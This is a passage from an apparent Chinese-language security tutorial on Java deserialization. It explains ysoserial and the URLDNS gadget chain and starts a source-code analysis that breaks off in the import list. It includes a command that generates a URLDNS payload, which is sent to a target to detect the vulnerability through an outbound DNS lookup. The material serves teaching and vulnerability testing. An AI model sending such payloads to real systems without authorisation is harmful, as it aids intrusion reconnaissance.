前言
文章首发:https://www.sec-in.com/article/299
2015年Gabriel Lawrence(@gebl)和Chris Frohoff(@frohoff)在AppSecCali大会上提出的利用Apache Commons Collections来构造命令执行利用链,随后发布ysoserial工具,从此打开Java安全的蓝海。
利用链(gadget chains),俗称gadget。通俗来说就是一种利用方法,它是从触发位置开始到执行命令的位置结束,也可以说是漏洞验证方法(POC)。
使用方法,GitHub下载jar包或者git源码自己编译。
java -jar ysoseial.jar URLDNS “http://baidu.com”
再将生成号POC发送目标,如果目标存在反序列化漏洞,并且满足利用链条件,则命令将会被执行。
ps: 本文实验代码都上传JavaLearnVulnerability项目,为了让更多人知道,麻烦动动小手star一下。
URLDNS
URLDNS
是其中的一个gadget的名字,此gadget不能执行命令,通常用来验证目标是否存在反序列化漏洞。URLDNS gadget十分适合用来验证目标是否存在反序列化漏洞。
- 此gadget完全使用Java内置的类构造,无需第三方库支持。
- 如果目标没有回显,通过DNS解析请求是否存在来判断存在反序列化漏洞。
漏洞分析
打开https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java
查看源码,但笔者这里使用自己改写的源码来分析此gadget链。
package samny.serializable;
import samny.util.Reflections;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URL;
import java.net.URLConnection;
impor